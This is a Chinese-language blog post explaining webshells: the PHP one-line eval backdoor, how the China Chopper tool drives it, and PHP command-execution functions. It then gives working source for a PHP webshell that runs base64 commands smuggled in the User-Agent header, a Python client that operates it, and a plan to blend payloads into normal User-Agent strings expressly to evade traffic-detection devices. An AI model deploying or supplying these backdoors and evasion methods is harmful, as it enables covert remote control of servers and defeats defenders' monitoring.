流量混淆webshell
webshell是什么?
刚刚接触安全的时候,对于webshell这个概念还是十分的惊奇。只记得当时带课的老师才测试网站上传了一个php文件(老师说是webshell),然后用了一个软件就直接可以控制测试网站了。当时觉的真TM的牛皮,那时起觉的安全还挺有意思的。
回忆复现
到底websehll是什么?那就来回忆下当前的情景。
工具: phpstudy、菜刀、一句话webshell<?php eval(@$_POST['a']); ?>
。
操作流程:
- 将webshell保存为后缀为.php的文件并上传到相应的web目录下。
- 使用中国菜刀进行连接
中国菜刀 是一款由中国大牛开发的webshell后门管理工具。配置简便、功能强大、使用方便,可以说是一款强大好用的“web管理工具”。
菜刀分析
- 在菜刀客户端中输入ipconfig命令,然后通过winshark抓包分析菜刀运行的原理。
- 菜刀将执行的命令通过base64加密传入webshell中,对psot字段进行base64解密看看其详情信息(菜刀分析参加文章)。
@ini_set(“display_errors”,”0”);临时关闭PHP的错误显示功能
@set_time_limit(0);防止像dir、上传文件大马时超时
@set_magic_quotes_runtime(0);关闭魔术引号,这东西在4.0以后就不怎么用了
$p=’cmd’;执行cmd
$s=’cd /d D:\&ipconfig&echo;执行ipconfg并输出
一句话分析
<?php eval(@$_POST['a']); ?>
为什么如此简单的一句话就可以拥有如此神奇的力量,让他足以控制一台计算机。其实是计算机语言的魅力,每一种计算机语言都是为操作计算机系统而生。当然webshell也是计算机语言所写,其又被称为服务器控制端,那如过被攻击者利用就被称之为shell了。
以php语言为案例,攻击者通过各种函数、变量拼接,从而构造出命令执行函数,php 常见命令执行函数:
${} Eval() Assert() preg_replace() create_function() array_map() call_user_func()/call_user_func_array() array_filter() usort(),uasort()
通过post传入payload执行命令并回显
winshark抓包
相信看到这一步应该对webshell有一个大概的了解,简单理解了webshell的执行原理。
流量加密
目前市场上的安全设备对于恶意数据流都可精准检测其特征,而常规的一句话木马、菜刀等特征过于明显。而且大部分的黑客工具都被列入特征库,所以攻击方的攻击手法很容易被针对,攻击链路也很容易被还原。
简单加密
常规的webshell是将所需的payload通过post进行传参,很容易被流量设备检测。当然,你也可以使用其他地方进行传参。
- 例如:user_agent加密进行传参,然后再解密执行命令。
- winshark抓包
webshell源码
<?php
$dd = $_SERVER['HTTP_USER_AGENT’];
//获取user_agent参数
$qq = base64_decode($dd);
//解密user_agent参数
$jjj = exec ($qq,$out);
//执行user_agent参数
for ($i=0 ;$i < count($out) ;$i++){
$ls = $ls.$out[$i]."\n";
}
echo base64_encode($ls);
//加密输入执行后的系统命令
?>
客户端源码
当然用浏览器手工去输入shell着实不太方便,写一个简单的控制脚本。
#!/usr/bin/python
# -*- coding: UTF-8 -*-
import requests
import base64
str_1 = ""
headers = {
"Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8",
"User-Agent": "adwd",
"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"Accept-Language":"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding":"gzip, deflate"
}
while True:
str_1 = input("please input cmd:")
str_1 = bytes(str_1, encoding="gbk")
str_1 = base64.b64encode(str_1)
headers['User-Agent']=str_1
ls = requests.get(url="http://127.0.0.1/1.php",headers=headers)#url更改位置
ls_1 = ls.content
ls_1 = base64.b64decode(ls_1)
ls_2 = str (ls_1, encoding="gbk")
print (ls_2)
流量混淆
上面的加密user_agent的特征还是较为明显。新思路:客户端将所需的payload通过base64加密进行拆分,嵌入正常的user_agent中,然后传入服务器。Webshell再从user_agent中提取payload解密执行,将回显命令通过base64+assic移位进行加密输出。客户端再对加密回显进行解密。
使用详情
通过上面思路,分别编写了php与jsp的webshell,还有python客户端。当然目前并不支持文件上传,和其他高级功能,后续再持续更新。
源码下载
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!